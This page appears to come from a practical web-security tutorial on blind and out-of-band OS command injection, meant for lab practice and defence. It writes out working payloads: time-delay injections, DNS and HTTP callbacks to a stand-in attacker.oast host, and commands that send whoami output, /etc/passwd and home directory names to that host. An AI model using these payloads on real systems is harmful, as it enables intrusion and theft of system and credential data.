OS Command Injection: The Complete Practical Guide
Blind and Out-of-Band Command Injection
How to detect command injection with no visible output: time-based delays, DNS and HTTP out-of-band callbacks, and exfiltrating command output through them.
Published
Most real command injection is blind: the command runs but its output never appears in the response. That does not stop you, it just changes how you confirm and how you extract data. This page covers time-based detection, out-of-band DNS and HTTP callbacks, and carrying command output through those channels. Practice on a free live target.
Why blind happens
The feature may discard the command's output, run it asynchronously, or only report success or failure. You cannot read the result in the page, so you need a side channel: either time (make the server wait) or an outbound request (make the server call you).
Step 1: prove execution with a time delay
Inject a command that pauses, and measure the response time. If the response is delayed by your chosen amount, the command ran:
POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
host=127.0.0.1;sleep 5HTTP/1.1 200 OK
Content-Type: text/plain
# ... response arrives about 5 seconds later than the baseline ...
OKCompare against a baseline request with no delay. A consistent five-second gap confirms execution. Variants when sleep is awkward or filtered:
host=127.0.0.1;ping -c 6 127.0.0.1 # ~5s: six pings, five one-second gaps
host=127.0.0.1 && sleep 5 # delay only if the first command succeeds
host=notahost || sleep 5 # delay only if the first command failsGate the delay behind a condition (; [ $(whoami) = root ] && sleep 5) to turn timing into a yes-or-no oracle for extracting data one answer at a time.
Step 2: open an out-of-band channel
Timing is slow. If the server can reach the network, make it call a listener you control. A DNS lookup is the most reliable, because DNS often escapes networks that block outbound HTTP:
POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
host=127.0.0.1;nslookup probe.attacker.oastA lookup for probe.attacker.oast arriving at your authoritative name server (or an interaction-capture service) confirms execution. An HTTP callback works the same way when egress allows it:
host=127.0.0.1;curl http://attacker.oast/hitStep 3: exfiltrate output through the channel
The powerful part: carry command output inside the callback. Command substitution runs your command and splices its output into the hostname or URL, so the data arrives at your listener:
# DNS: the output of whoami becomes a subdomain label in the lookup
host=127.0.0.1;nslookup $(whoami).attacker.oast
# your DNS logs show: www-data.attacker.oast
# HTTP: the output lands in the request path
host=127.0.0.1;curl http://attacker.oast/$(whoami)
# larger data: base64 it first to survive hostname/URL rules
host=127.0.0.1;curl --data-binary @/etc/passwd http://attacker.oast/
host=127.0.0.1;ls /home | while read u; do nslookup $u.attacker.oast; doneBase64-encode anything with characters that are not DNS or URL safe, and loop over lists to exfiltrate them entry by entry. Even with zero reflected output, the data comes to you.
When only DNS gets out
If HTTP callbacks never arrive but DNS lookups do, the network is filtering outbound HTTP while permitting DNS. Commit to the DNS channel: confirm with a plain lookup, then exfiltrate by packing base64url-safe output into subdomain labels, splitting across multiple lookups if a label exceeds the length limit.
Fixing it
- Do not pass input to a shell (
execFile/subprocess.run([...], shell=False)), which removes the injection that timing and callbacks rely on. - Egress-filter the worker, including DNS, so even a successful injection has no channel to confirm through or exfiltrate over.
- Allow-list the input rather than blacklisting characters.
Full guidance is in preventing command injection. Next, get past input filters in filter and blacklist bypass, or try a blind injection on a free lab.
← Back to OS Command Injection: The Complete Practical Guide